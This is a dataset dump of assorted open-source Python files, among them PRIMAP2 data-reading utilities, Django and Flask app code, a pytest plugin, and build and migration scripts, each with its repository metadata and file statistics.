coords_defaults=coords_defaults, coords_terminologies=coords_terminologies, coords_value_mapping=coords_value_mapping, coords_value_filling=coords_value_filling, filter_keep=filter_keep, filter_remove=filter_remove, meta_data=meta_data, time_format=time_format, time_cols=time_columns, ) return data def interchange_format_attrs_dict( *, xr_attrs: dict, time_format: str, dimensions, additional_coordinates: dict = None ) -> dict: metadata = { "attrs": xr_attrs, "time_format": time_format, "dimensions": {"*": dimensions.copy()}, } if additional_coordinates: metadata["additional_coordinates"] = additional_coordinates return metadata def additional_coordinate_metadata( add_coords_cols: Dict[str, List[str]], coords_cols: Dict[str, str], coords_terminologies: Dict[str, str], ) -> dict: """Create the `additional_coordinates` dict and do a few consistency checks""" additional_coordinates = {} for coord in add_coords_cols: if coord in coords_terminologies: logger.error( f"Additional coordinate {coord} has terminology definition. " f"This is currently not supported by PRIMAP2." ) raise ValueError( f"Additional coordinate {coord} has terminology definition. " f"This is currently not supported by PRIMAP2." ) if add_coords_cols[coord][1] not in coords_cols: logger.error( f"Additional coordinate {coord} refers to unknown coordinate " f"{add_coords_cols[coord][1]}. " ) raise ValueError( f"Additional coordinate {coord} refers to unknown coordinate " f"{add_coords_cols[coord][1]}. " ) if add_coords_cols[coord][1] in coords_terminologies: additional_coordinates[coord] = ( f"{add_coords_cols[coord][1]} " f"({coords_terminologies[add_coords_cols[coord][1]]})" ) else: additional_coordinates[coord] = add_coords_cols[coord][1] return additional_coordinates def check_mandatory_dimensions( coords_cols: Dict[str, str], coords_defaults: Dict[str, Any], ): """Check if all mandatory dimensions are specified.""" for coord in INTERCHANGE_FORMAT_MANDATORY_COLUMNS: if coord not in coords_cols and coord not in coords_defaults: logger.error( f"Mandatory dimension {coord!r} not found in coords_cols={coords_cols}" f" or coords_defaults={coords_defaults}." ) raise ValueError(f"Mandatory dimension {coord!r} not defined.") def check_overlapping_specifications( coords_cols: Dict[str, str], coords_defaults: Dict[str, Any], ): both = set(coords_cols.keys()).intersection(set(coords_defaults.keys())) if both: logger.error( f"{both!r} is given in coords_cols and coords_defaults, but" f" it must only be given in one of them." ) raise ValueError(f"{both!r} given in coords_cols and coords_defaults.") def check_overlapping_specifications_add_cols( coords_cols: Dict[str, str], add_coords_cols: Dict[str, Any], ): cols_add = [val[0] for val in add_coords_cols.values()] both = set(coords_cols.values()).intersection(set(cols_add)) if both: logger.error( f"columns {both!r} used for dimensions and additional coordinates, but" f" should be used in only one of them." ) raise ValueError(f"{both!r} given in coords_cols and add_coords_cols.") def matches_time_format(value: str, time_format: str): try: datetime.datetime.strptime(value, time_format) return True except ValueError: return False def read_wide_csv( filepath_or_buffer, coords_cols: Dict[str, str], add_coords_cols: Dict[str, List[str]] = None, time_format: str = "%Y", ) -> (pd.DataFrame, List[str]): data = pd.read_csv(filepath_or_buffer, na_values=NA_VALUES) # get all the columns that are actual data not metadata (usually the years) time_cols = [ col for col in data.columns.values if matches_time_format(col, time_format) ] # remove all non-numeric values from year columns # (what is left after mapping to nan when reading data) for col in time_cols: data[col] = data[col][ pd.to_numeric(data[col], errors="coerce").notnull() ].astype(float) # remove all cols not in the specification columns = data.columns.values if add_coords_cols: add_coords_col_names = {value[0] for value in add_coords_cols.values()} else: add_coords_col_names = set() data.drop( columns=list( set(columns) - set(coords_cols.values()) - add_coords_col_names - set(time_cols) ), inplace=True, ) # check that all cols in the specification could be read missing = set(coords_cols.values()) - set(data.columns.values) if missing: logger.error( f"Column(s) {missing} specified in coords_cols, but not found in " f"the CSV file {filepath_or_buffer!r}." ) raise ValueError(f"Columns {missing} not found in CSV.") return data, time_cols def read_long_csv( filepath_or_buffer, coords_cols: Dict[str, str], add_coords_cols: Dict[str, List[str]] = None, ) -> (pd.DataFrame, List[str]): try: csv_data_column = coords_cols["data"] except KeyError: raise ValueError( "No data column in the CSV specified in coords_cols, so nothing to read." ) if "time" in coords_cols: parse_dates = [coords_cols["time"]] else: parse_dates = False if add_coords_cols: add_coords_col_names = {value[0] for value in add_coords_cols.values()} else: add_coords_col_names = set() usecols = list(coords_cols.values()) + list(add_coords_col_names) data = pd.read_csv( filepath_or_buffer, na_values=NA_VALUES, parse_dates=parse_dates, usecols=usecols, ) # remove all non-numeric values from data column data[csv_data_column] = data[csv_data_column][ pd.to_numeric(data[csv_data_column], errors="coerce").notnull() ].astype(float) return data def spec_to_query_string(filter_spec: Dict[str, Union[list, Any]]) -> str: """Convert filter specification to query string. All column conditions in the filter are combined with &.""" queries = [] for col in filter_spec: if isinstance(filter_spec[col], list): itemlist = ", ".join(repr(x) for x in filter_spec[col]) filter_query = f"{col} in [{itemlist}]" else: filter_query = f"{col} == {filter_spec[col]!r}" queries.append(filter_query) return " & ".join(queries) def filter_data( data: pd.DataFrame, filter_keep: Optional[Dict[str, Dict[str, Any]]] = None, filter_remove: Optional[Dict[str, Dict[str, Any]]] = None, ): # Filters for keeping data are combined with "or" so that # everything matching at least one rule is kept. if filter_keep: queries = [] for filter_spec in filter_keep.values(): q = spec_to_query_string(filter_spec) queries.append(f"({q})") query = " | ".join(queries) data.query(query, inplace=True) # Filters for removing data are negated and combined with "and" so that # only rows which don't match any rule are kept. if filter_remove: queries = [] for filter_spec in filter_remove.values(): q = spec_to_query_string(filter_spec) queries.append(f"~({q})") query = " & ".join(queries) data.query(query, inplace=True) data.reset_index(drop=True, inplace=True) def fill_from_other_col( df: pd.DataFrame, *, coords_value_filling: Dict[str, Dict[str, Dict[str, str]]], attrs: Dict[str, Any], ) -> pd.DataFrame: """ This function fills value in one column based on values in other columns. It can be used to fill NaN values or to replace e.g. non-standard or non-unique category codes based on category names. It operates on pandas DataFrames. Parameters ---------- df : pd.DataFrame Data to operate on coords_value_filling : dict A dict with primap2 dimension names as keys. These are the target columns where values will be filled (or replaced). Vales are dicts with primap2 dimension names as keys. These are the source columns. The values are dicts with source value - target value mappings. This can be used to e.g. fill missing category codes based on category names or to replace category codes which do not meet the terminology using the category names. attrs : dict Dataset attributes Returns ------- pd.DataFrame """ dim_aliases = _alias_selection.translations_from_attrs(attrs, include_entity=True) # loop over target columns in value mapping for target_col in coords_value_filling: target_info = coords_value_filling[target_col] # loop over source columns for source_col in target_info: mapping_info = target_info[source_col] # loop over cases target_col_name = dim_aliases.get(target_col, target_col) source_col_name = dim_aliases.get(source_col, source_col) for source_value in mapping_info: df.loc[df[source_col_name] == source_value, target_col_name] = df.loc[ df[source_col_name] == source_value, target_col_name ] = mapping_info[source_value] return df def add_dimensions_from_defaults( data: pd.DataFrame, coords_defaults: Dict[str, Any], additional_allowed_coords: Iterable[str] = (), ): if_columns = ( INTERCHANGE_FORMAT_OPTIONAL_COLUMNS + INTERCHANGE_FORMAT_MANDATORY_COLUMNS + list(additional_allowed_coords) ) for coord in coords_defaults.keys(): if coord in if_columns or coord.startswith(SEC_CATS_PREFIX): # add column to dataframe with default value data[coord] = coords_defaults[coord] else: raise ValueError( f"{coord!r} given in coords_defaults is unknown - prefix with " f"{SEC_CATS_PREFIX!r} to add a secondary category." ) def map_metadata( data: pd.DataFrame, *, meta_mapping: Dict[str, Union[str, Callable, dict]], attrs: Dict[str, Any], ): """Map the metadata according to specifications given in meta_mapping. First map entity, then the rest.""" if "entity" in meta_mapping.keys(): meta_mapping_entity = dict(entity=meta_mapping["entity"]) meta_mapping.pop("entity") map_metadata_unordered(data, meta_mapping=meta_mapping_entity, attrs=attrs) map_metadata_unordered(data, meta_mapping=meta_mapping, attrs=attrs) def map_metadata_unordered( data: pd.DataFrame, *, meta_mapping: Dict[str, Union[str, Callable, dict]], attrs: Dict[str, Any], ): """Map the metadata according to specifications given in meta_mapping.""" dim_aliases = _alias_selection.translations_from_attrs(attrs, include_entity=True) # TODO: add additional mapping functions here # values: (function, additional arguments) mapping_functions = { "PRIMAP1": { "category": (_conversion.convert_ipcc_code_primap_to_primap2, []), "entity": (_conversion.convert_entity_gwp_primap_to_primap2, []), "unit": ( _conversion.convert_unit_primap_to_primap2, [dim_aliases.get("entity", "entity")], ), } } meta_mapping_df = {} # preprocess meta_mapping for column, mapping in meta_mapping.items(): column_name = dim_aliases.get(column, column) if isinstance(mapping, str) or callable(mapping): if isinstance(mapping, str): # need to translate to function first try: func, args = mapping_functions[mapping][column] except KeyError: logger.error( f"Unknown metadata mapping {mapping!r} for column {column!r}, " f"known mappings are: {list(mapping_functions.keys())}." ) raise ValueError( f"Unknown metadata mapping {mapping!r} for column {column!r}." ) else: func = mapping args = [] if not args: # simple case: no additional args needed values_to_map = data[column_name].unique() values_mapped = map(func, values_to_map) meta_mapping_df[column_name] = dict(zip(values_to_map, values_mapped)) else: # need to supply additional arguments # this can't be handled using the replace()-call later since the mapped # values don't depend on the original values only, therefore # we do it directly sel = [column_name] + args values_to_map = np.unique(data[sel].to_records(index=False)) for vals_to_map in values_to_map: # we replace values where all the arguments match - build a # selector for that, then do the replacement selector = data[column_name] == vals_to_map[0] for i, arg in enumerate(args): selector &= data[arg] == vals_to_map[i + 1] data.loc[selector, column_name] = func(*vals_to_map) else: meta_mapping_df[column_name] = mapping data.replace(meta_mapping_df, inplace=True) def rename_columns( data: pd.DataFrame, coords_cols: Dict[str, str], add_coords_cols: Dict[str, List[str]], coords_defaults: Dict[str, Any], coords_terminologies: Dict[str, str], ) -> dict: """Rename columns to match PRIMAP2 specifications and generate the corresponding dataset-wide attrs for PRIMAP2.""" attr_names = {"category": "cat", "scenario": "scen", "area": "area"} attrs = {} sec_cats = [] coord_renaming = {} for coord in itertools.chain(coords_cols, coords_defaults): if coord in coords_terminologies: name = f"{coord} ({coords_terminologies[coord]})" if coord == "entity": attrs["entity_terminology"] = coords_terminologies[coord] else: name = coord if coord.startswith(SEC_CATS_PREFIX): name = name[len(SEC_CATS_PREFIX) :] sec_cats.append(name) elif coord in attr_names: attrs[attr_names[coord]] = name coord_renaming[coords_cols.get(coord, coord)] = name for coord in add_coords_cols: coord_renaming[add_coords_cols[coord][0]] = coord data.rename(columns=coord_renaming, inplace=True) if sec_cats: attrs["sec_cats"] = sec_cats return attrs def harmonize_units( data: pd.DataFrame, *, unit_col: str = None, attrs: Optional[dict] = None, dimensions: Iterable[str], ) -> None: """ Harmonize the units of the input data. For each entity, convert all time series to the same unit (the unit that occurs first). Units must already be in PRIMAP2 style. Parameters ---------- data: pd.DataFrame data for which the units should be harmonized unit_col: str, optional column name for unit column. Default: "unit" attrs: dict, optional attrs defining the aliasing of columns. If attrs contains "entity_terminology", "entity (<entity_terminology>)" will be used as the entity column, otherwise simply "entity" will be used as the entity column. dimensions: list of str the dimensions, i.e. the metadata columns. Returns ------- None The data is altered in place. """ # we need to convert the data such that we have one unit per entity data_cols = list(set(data.columns.values) - set(dimensions)) if attrs is not None: dim_aliases = _alias_selection.translations_from_attrs( attrs, include_entity=True ) entity_col = dim_aliases.get("entity", "entity") else: entity_col = "entity" if unit_col is None: unit_col = dim_aliases.get("unit", "unit") entities = data[entity_col].unique() for entity in entities: # get all units for this entity data_this_entity = data.loc[data[entity_col] == entity] units_this_entity = data_this_entity[unit_col].unique() # print(units_this_entity) if len(units_this_entity) > 1: # need unit conversion. convert to first unit (base units have second as # time that is impractical) unit_to = units_this_entity[0] # print("unit_to: " + unit_to) for unit in units_this_entity[1:]: # print(unit) unit_pint = ureg[unit] unit_pint = unit_pint.to(unit_to) # print(unit_pint) factor = unit_pint.magnitude # print(factor) mask = (data[entity_col] == entity) & (data[unit_col] == unit) data.loc[mask, data_cols] *= factor data.loc[mask, unit_col] = unit_to def sort_columns_and_rows( data: pd.DataFrame, dimensions: Iterable[Hashable], ) -> (pd.DataFrame, List[Hashable]): """Sort the data. The columns are ordered according to the order in INTERCHANGE_FORMAT_COLUMN_ORDER, with secondary categories alphabetically after the category and all date columns in order at the end. The rows are ordered by values of the non-date columns. Parameters ---------- data: pd.DataFrame data which should be ordered dimensions: list of str the dimensions, i.e. the metadata columns. Returns ------- sorted, dimensions_sorted : (pd.DataFrame, list of str) the input data frame with columns and rows ordered and the dimensions sorted. """ time_cols = list(set(data.columns.values) - set(dimensions)) other_cols = list(dimensions) cols_sorted = [] for col in INTERCHANGE_FORMAT_COLUMN_ORDER: for ocol in other_cols: if ocol == col or (isinstance(ocol, str) and ocol.startswith(f"{col} (")): cols_sorted.append(ocol) other_cols.remove(ocol) break cols_sorted += list(sorted(other_cols)) data: pd.DataFrame = data[cols_sorted + list(sorted(time_cols))] data.sort_values(by=cols_sorted, inplace=True) data.reset_index(inplace=True, drop=True) return data, cols_sorted

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py

Python

students/k3340/laboratory_works/Zakoulov_Ilya/backend/src/quests/permissions.py

TonikX/ITMO_ICT_-WebProgramming_2020

ba566c1b3ab04585665c69860b713741906935a0

[ "MIT" ]

10

2020-03-20T09:06:12.000Z

2021-07-27T13:06:02.000Z

students/k3340/laboratory_works/Zakoulov_Ilya/backend/src/quests/permissions.py

TonikX/ITMO_ICT_-WebProgramming_2020

ba566c1b3ab04585665c69860b713741906935a0

[ "MIT" ]

134

2020-03-23T09:47:48.000Z

2022-03-12T01:05:19.000Z

students/k3340/laboratory_works/Zakoulov_Ilya/backend/src/quests/permissions.py

TonikX/ITMO_ICT_-WebProgramming_2020

ba566c1b3ab04585665c69860b713741906935a0

[ "MIT" ]

71

2020-03-20T12:45:56.000Z

2021-10-31T19:22:25.000Z

from rest_framework.permissions import BasePermission, SAFE_METHODS, IsAdminUser class IsAdminOrReadOnly(IsAdminUser): def has_permission(self, request, view): if request.method in SAFE_METHODS: return True return super().has_permission(request, view)

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20568ee0e3d02dd89899fa7044dd4f56e65900a1

303

py

Python

Convolutional-Neural-Networks/Week-1/gram_matrix.py

anoushkrit/MOOCs

7bb4a031224af87a67d0c94043a8f15d7e718bb5

[ "MIT" ]

3

2019-10-28T19:03:43.000Z

2021-12-02T14:39:53.000Z

Convolutional-Neural-Networks/Week-1/gram_matrix.py

anoushkrit/MOOCs

7bb4a031224af87a67d0c94043a8f15d7e718bb5

[ "MIT" ]

null

Convolutional-Neural-Networks/Week-1/gram_matrix.py

anoushkrit/MOOCs

7bb4a031224af87a67d0c94043a8f15d7e718bb5

[ "MIT" ]

1

2020-12-22T05:57:27.000Z

# GRADED FUNCTION: gram_matrix def gram_matrix(A): """ Argument: A -- matrix of shape (n_C, n_H*n_W) Returns: GA -- Gram matrix of A, of shape (n_C, n_C) """ ### START CODE HERE ### (≈1 line) GA = tf.matmul(A, tf.transpose(A)) ### END CODE HERE ### return GA

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6463caa1511b00b8a92bd2e30addbd1f22879af8

1,629

py

Python

pyhcl/dsl/stage.py

raybdzhou/PyChip-py-hcl

08edc6ad4d2978eb417482f6f92678f8f9a1e3c7

[ "MIT" ]

null

pyhcl/dsl/stage.py

raybdzhou/PyChip-py-hcl

08edc6ad4d2978eb417482f6f92678f8f9a1e3c7

[ "MIT" ]

null

pyhcl/dsl/stage.py

raybdzhou/PyChip-py-hcl

08edc6ad4d2978eb417482f6f92678f8f9a1e3c7

[ "MIT" ]

null

from abc import ABC, abstractclassmethod from dataclasses import dataclass from pyhcl.ir import low_ir from pyhcl.dsl.check_and_infer import CheckAndInfer from pyhcl.passes.replace_subaccess import ReplaceSubaccess from pyhcl.passes.replace_subindex import ReplaceSubindex from pyhcl.passes.expand_aggregate import ExpandAggregate from pyhcl.passes.expand_whens import ExpandWhens from pyhcl.passes.expand_memory import ExpandMemory from pyhcl.passes.optimize import Optimize from pyhcl.passes.utils import AutoName class Form(ABC): @abstractclassmethod def emit(self) -> str: ... @dataclass class HighForm(Form): c: low_ir.Circuit def emit(self) -> str: self.c = CheckAndInfer.run(self.c) return self.c.serialize() @dataclass class MidForm(Form): def emit(self) -> str: ... @dataclass class LowForm(Form): c: low_ir.Circuit def emit(self) -> str: AutoName() self.c = CheckAndInfer.run(self.c) self.c = ExpandMemory().run(self.c) self.c = ReplaceSubaccess().run(self.c) self.c = ExpandAggregate().run(self.c) self.c = ExpandWhens().run(self.c) self.c = ReplaceSubindex().run(self.c) self.c = Optimize().run(self.c) return self.c.serialize() @dataclass class Verilog(Form): c: low_ir.Circuit def emit(self) -> str: self.c = CheckAndInfer.run(self.c) self.c = ExpandAggregate().run(self.c) self.c = ReplaceSubaccess().run(self.c) self.c = ReplaceSubindex().run(self.c) self.c = Optimize().run(self.c) return self.c.verilog_serialize()

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6466039d821ee4154e806e7e1417d4aa6079ddfa

1,312

py

Python

qatrack/qa/migrations/0032_auto_20190313_2112.py

crcrewso/qatrackplus

b9da3bc542d9e3eca8b7291bb631d1c7255d528e

[ "MIT" ]

20

2021-03-11T18:37:32.000Z

2022-03-23T19:38:07.000Z

qatrack/qa/migrations/0032_auto_20190313_2112.py

crcrewso/qatrackplus

b9da3bc542d9e3eca8b7291bb631d1c7255d528e

[ "MIT" ]

75

2021-02-12T02:37:33.000Z

2022-03-29T20:56:16.000Z

qatrack/qa/migrations/0032_auto_20190313_2112.py

crcrewso/qatrackplus

b9da3bc542d9e3eca8b7291bb631d1c7255d528e

[ "MIT" ]

5

2021-04-07T15:46:53.000Z

2021-09-18T16:55:00.000Z

# Generated by Django 2.1.7 on 2019-03-14 01:12 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('qa', '0031_convert_null_mc_tols'), ] operations = [ migrations.AlterField( model_name='tolerance', name='mc_pass_choices', field=models.CharField(blank=True, default='', help_text='Comma seperated list of choices that are considered passing', max_length=2048, verbose_name='Multiple Choice OK Values'), ), migrations.AlterField( model_name='tolerance', name='mc_tol_choices', field=models.CharField(blank=True, default='', help_text='Comma seperated list of choices that are considered at tolerance', max_length=2048, verbose_name='Multiple Choice Tolerance Values'), ), migrations.AlterField( model_name='unittestcollection', name='content_type', field=models.ForeignKey(help_text='Choose whether to use a Test List or Test List Cycle', limit_choices_to={'app_label': 'qa', 'model__in': ['testlist', 'testlistcycle']}, on_delete=django.db.models.deletion.PROTECT, to='contenttypes.ContentType', verbose_name='Test List or Test List Cycle'), ), ]

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64776eed091b241829ab4063fb50e4b438cbec44

93

py

Python

BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py

MatheusBrodt/App_LabCarolVS

9552149ceaa9bee15ef9a45fab2983c6651031c4

[ "MIT" ]

1

2020-12-26T21:23:40.000Z

BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py

MatheusBrodt/App_LabCarolVS

9552149ceaa9bee15ef9a45fab2983c6651031c4

[ "MIT" ]

2

2019-12-26T17:31:57.000Z

2020-01-06T19:45:26.000Z

BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py

MatheusBrodt/App_LabCarolVS

9552149ceaa9bee15ef9a45fab2983c6651031c4

[ "MIT" ]

2

2019-11-02T08:03:09.000Z

2020-06-29T14:52:15.000Z

"""pytest-cov: avoid already-imported warning: PYTEST_DONT_REWRITE.""" __version__ = "2.7.1"

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py

Python

src/hauberk/__init__.py

akail/hauberk

1fd990bdb78c78e1e8b1cee76fa8f414590fcee8

[ "MIT" ]

null

src/hauberk/__init__.py

akail/hauberk

1fd990bdb78c78e1e8b1cee76fa8f414590fcee8

[ "MIT" ]

56

2018-07-31T01:00:54.000Z

2020-08-06T16:00:02.000Z

src/hauberk/__init__.py

akail/hauberk

1fd990bdb78c78e1e8b1cee76fa8f414590fcee8

[ "MIT" ]

null

# -*- coding: utf-8 -*- """Top-level package for Hauberk Email Automations.""" __author__ = """Andrew Kail""" __email__ = 'andrew.a.kail@gmail.com' __version__ = '0.1.0'

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647cc7bce9f45f757b716e12d2b594fad871f084

2,460

py

Python

projects/exceptions.py

platiagro/projects

00da234b35003bb0ecc2d22a997e08737ceda044

[ "Apache-2.0" ]

6

2019-09-16T13:07:20.000Z

2021-06-02T19:02:05.000Z

projects/exceptions.py

platiagro/projects

00da234b35003bb0ecc2d22a997e08737ceda044

[ "Apache-2.0" ]

325

2019-09-20T20:06:00.000Z

2022-03-30T15:05:49.000Z

projects/exceptions.py

platiagro/projects

00da234b35003bb0ecc2d22a997e08737ceda044

[ "Apache-2.0" ]

17

2019-08-02T16:55:47.000Z

2021-06-26T19:13:35.000Z

# -*- coding: utf-8 -*- """ Useful exception classes that are used to return HTTP errors. """ class ApiException(Exception): """ The base exception class for all APIExceptions. Parameters ---------- code : str Error code. message : str Human readable string describing the exception. status_code : int HTTP status code. """ def __init__(self, code: str, message: str, status_code: int): self.code = code self.message = message self.status_code = status_code class BadRequest(ApiException): """ Bad Request response status code indicates that the server cannot or will not process the request due to something that is perceived to be a client error. A common cause is that the client has sent invalid request values. """ def __init__(self, code: str, message: str): super().__init__(code, message, status_code=400) class Forbidden(ApiException): """ Forbidden client error status response code indicates that the server understands the request but refuses to authorize it. """ def __init__(self, code: str, message: str): super().__init__(code, message, status_code=403) class NotFound(ApiException): """ Not Found client error response code indicates that the server can't find the requested resource. A common cause is that a provided ID does not exist in the database. """ def __init__(self, code: str, message: str): super().__init__(code, message, status_code=404) class InternalServerError(ApiException): """ Internal Server Error server error response code indicates that the server encountered an unexpected condition that prevented it from fulfilling the request. This error response is a generic "catch-all" response. You should log error responses like the 500 status code with more details about the request to prevent the error from happening again in the future. """ def __init__(self, code: str, message: str): super().__init__(code, message, status_code=500) class ServiceUnavailable(ApiException): """ Service Unavailable server error response code indicates that the server is not ready to handle the request. A common cause is that the database is not available or overloaded. """ def __init__(self, code: str, message: str): super().__init__(code, message, status_code=503)

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647ed5cef9f088b96e328f883e5a96af60b1a881

1,058

py

Python

setup.py

adrianer/pytest-usefixturesif

c5608a24261fb074ab14887e82d9c56d38376317

[ "BSD-3-Clause" ]

null

setup.py

adrianer/pytest-usefixturesif

c5608a24261fb074ab14887e82d9c56d38376317

[ "BSD-3-Clause" ]

1

2019-01-29T14:11:15.000Z

setup.py

adrianer/pytest-usefixturesif

c5608a24261fb074ab14887e82d9c56d38376317

[ "BSD-3-Clause" ]

null

from setuptools import setup setup( name='pytest-usefixturesif', description='pytest plugin that makes it possible to have fixtures used only when a condition applies', long_description=open("README.md").read(), version='0.0.2', url='https://github.com/adrianer/pytest-usefixturesif', download_url='https://github.com/adrianer/pytest-usefixturesif/archive/0.1.tar.gz', license='BSD', author='Adrian Kalla', author_email='adrian.kalla@gmail.com', py_modules=['pytest_usefixturesif'], entry_points={'pytest11': ['usefixturesif = pytest_usefixturesif']}, zip_safe=False, include_package_data=True, platforms='any', install_requires=['pytest>=3.3.2'], keywords=['testing', 'fixtures', 'condition'], classifiers=[ "Framework :: Pytest", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", ] )

36.482759

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0.65879

120

1,058

5.716667

0.616667

0.138484

0.182216

0.113703

0.12828

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0.02093

0.187146

1,058

28

108

37.785714

0.776744

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0.546314

0.020794

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1

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true

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0

null

0

1

0

null

0

1

0

2

64804597fb314c190aa7abcde79f44a874b88f4e

1,224

py

Python

src/kernel/testdata/err/__init__.py

metaesque/meta

c3e6413ca6cc6ff5456158b128070b36baf2d36a

[ "AML", "TCL", "Ruby" ]

null

src/kernel/testdata/err/__init__.py

metaesque/meta

c3e6413ca6cc6ff5456158b128070b36baf2d36a

[ "AML", "TCL", "Ruby" ]

1

2018-10-30T03:14:34.000Z

2018-10-30T03:19:35.000Z

src/kernel/testdata/err/__init__.py

metaesque/meta

c3e6413ca6cc6ff5456158b128070b36baf2d36a

[ "AML", "TCL", "Ruby" ]

null

# -*- coding: utf-8 -*- """An intentionally broken codebase.""" try: import demo.err except ImportError: pass if not getattr(demo, 'err', None): import sys demo.err = sys.modules[__name__] import metax.root import sys class AMeta(metax.root.ObjectMeta): """Auto-generated meta class for demo.err.A.""" def __init__(cls, name, bases, symbols): """No comment provided. Args: name: &str bases: &#vec<class> symbols: &#map """ super(AMeta, cls).__init__(name, bases, symbols) # User-provided code follows. class A(metax.root.Object): """Undocumented.""" __metaclass__ = AMeta def __init__(self): super(A, self).__init__() # User-provided code follows. def f(self): self.g() def g(self): self.h() def h(self): raise Exception() def meta(self): result = self.__class__ assert issubclass(result, A) assert issubclass(result, MetaA) return result def printMeta(self, fp=sys.stdout, indent=''): """Auto-generated human-readable summary of this object. Args: fp: ostream indent: str """ subindent = indent + " " fp.write('A %x:\n' % id(self)) MetaA = A # Class initialization methods

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0.629085

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1,224

4.726115

0.496815

0.037736

0.043127

0.061995

0

0.001059

0.228758

1,224

64

61

19.125

0.784958

0.29902

0

0.064516

0

0.015171

0

0.064516

1

0.225806

false

0.032258

0.16129

0

0.516129

0.032258

0

null

0

null

0

1

0

1

0

2

6487e1a1c4dfff87252067d989fbc85849af01b3

486

py

Python

backend/app/__init__.py

Polsaker/mateapp

8dfce3b642e8b7a68e74f22864aad8cee5b65239

[ "MIT" ]

null

backend/app/__init__.py

Polsaker/mateapp

8dfce3b642e8b7a68e74f22864aad8cee5b65239

[ "MIT" ]

null

backend/app/__init__.py

Polsaker/mateapp

8dfce3b642e8b7a68e74f22864aad8cee5b65239

[ "MIT" ]

null

from flask import Flask, render_template, request import sys from .models import db_wrapper from .views.token import token from .common import JWT try: import config except ImportError: print("ERROR: El archivo de configuración no existe!") sys.exit(1) app = Flask(__name__) app.config.from_object('config') # Inicialización de flaskdb db_wrapper.init_app(app) JWT.init_app(app) # Inicialiación de todos los blueprint app.register_blueprint(token, url_prefix='/token')

21.130435

58

0.773663

71

486

5.126761

0.577465

0.049451

0.054945

0

0.002392

0.139918

486

23

59

21.130435

0.868421

0.127572

0

0.135071

0

0.043478

0

1

0

false

0

0.466667

0

0.466667

0.133333

0

null

0

null

0

1

0

1

0

2

6489b2bf3f326b2bfc8410132de75ddbf7864318

1,059

py

Python

conftest.py

fruch/pytest-shabang

b4a83386efebfedb415dcd7418cda77227cabc18

[ "MIT" ]

null

conftest.py

fruch/pytest-shabang

b4a83386efebfedb415dcd7418cda77227cabc18

[ "MIT" ]

null

conftest.py

fruch/pytest-shabang

b4a83386efebfedb415dcd7418cda77227cabc18

[ "MIT" ]

null

import subprocess import os.path import sys import pytest def pytest_collect_file(parent, path): if path.basename.startswith("test"): return ShabangFile(path, parent) class ShabangFile(pytest.File): def collect(self): yield ShabangItem(os.path.relpath(self.fspath), self, self.fspath) class ShabangItem(pytest.Item): def __init__(self, name, parent, filename): super().__init__(name, parent) self.filename = filename def runtest(self): subprocess.check_call( str(self.filename), stdout=sys.stdout, stderr=sys.stderr, shell=True ) def repr_failure(self, excinfo): """ called when self.runtest() raises an exception. """ if isinstance(excinfo.value, subprocess.CalledProcessError): return "\n".join( [ "execution failed with", " returncode: %r" % excinfo.value.returncode, ] ) def reportinfo(self): return self.fspath, 0, "file: %s" % self.name

26.475

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0.609065

115

1,059

5.504348

0.486957

0.047393

0

0.001311

0.279509

1,059

39

81

27.153846

0.828309

0.044381

0

0.051793

0

1

0.214286

false

0

0.142857

0.035714

0.535714

0

null

0

null

0

1

0

1

0

2

648e7a63b2bc50056b80cc23d240953bc125a6a5

735

py

Python

marchena/modules/comments/managers.py

samuelmaudo/marchena

e9a522a9be66f7043aa61e316f7e733e8ccf1e32

[ "BSD-3-Clause" ]

null

marchena/modules/comments/managers.py

samuelmaudo/marchena

e9a522a9be66f7043aa61e316f7e733e8ccf1e32

[ "BSD-3-Clause" ]

null

marchena/modules/comments/managers.py

samuelmaudo/marchena

e9a522a9be66f7043aa61e316f7e733e8ccf1e32

[ "BSD-3-Clause" ]

null

# -*- coding:utf-8 -*- from yepes.managers import ( NestableManager, NestableQuerySet, SearchableManager, SearchableQuerySet, ) class CommentQuerySet(NestableQuerySet, SearchableQuerySet): """ QuerySet providing main search functionality for ``CommentManager``. """ def published(self): """ Returns published comments. """ return self.filter(is_published=True) class CommentManager(NestableManager, SearchableManager): def get_queryset(self): return CommentQuerySet(self.model, using=self._db) def published(self, *args, **kwargs): """ Returns published comments. """ return self.get_queryset().published(*args, **kwargs)

22.96875

72

0.659864

64

735

7.515625

0.546875

0.049896

0.066528

0.12474

0.141372

0

0.001761

0.227211

735

31

73

23.709677

0.84507

0.198639

0

1

0.25

false

0

0.083333

0.75

0

null

0

null

0

1

0

1

0

2

6490265ebc2725dd0511e1b8509201139db524c1

1,283

py

Python

Mac/scripts/bgenall.py

deadsnakes/python2.3

0b4a6871ca57123c10aa48cc2a5d2b7c0ee3c849

[ "PSF-2.0" ]

null

Mac/scripts/bgenall.py

deadsnakes/python2.3

0b4a6871ca57123c10aa48cc2a5d2b7c0ee3c849

[ "PSF-2.0" ]

null

Mac/scripts/bgenall.py

deadsnakes/python2.3

0b4a6871ca57123c10aa48cc2a5d2b7c0ee3c849

[ "PSF-2.0" ]

null

# bgenall - Generate all bgen-generated modules # import sys import os import string def bgenone(dirname, shortname): os.chdir(dirname) print '%s:'%shortname # Sigh, we don't want to lose CVS history, so two # modules have funny names: if shortname == 'carbonevt': modulename = 'CarbonEvtscan' elif shortname == 'ibcarbon': modulename = 'IBCarbonscan' else: modulename = shortname + 'scan' try: m = __import__(modulename) except: print "Error:", shortname, sys.exc_info()[1] return 0 try: m.main() except: print "Error:", shortname, sys.exc_info()[1] return 0 return 1 def main(): success = [] failure = [] sys.path.insert(0, os.curdir) if len(sys.argv) > 1: srcdir = sys.argv[1] else: srcdir = os.path.join(os.path.join(sys.prefix, 'Mac'), 'Modules') srcdir = os.path.abspath(srcdir) contents = os.listdir(srcdir) for name in contents: moduledir = os.path.join(srcdir, name) scanmodule = os.path.join(moduledir, name +'scan.py') if os.path.exists(scanmodule): if bgenone(moduledir, name): success.append(name) else: failure.append(name) print 'Done:', string.join(success, ' ') if failure: print 'Failed:', string.join(failure, ' ') return 0 return 1 if __name__ == '__main__': rv = main() sys.exit(not rv)

22.910714

67

0.67576

179

1,283

4.765363

0.430168

0.042204

0.046893

0.058617

0.100821

0

0.009479

0.177709

1,283

56

68

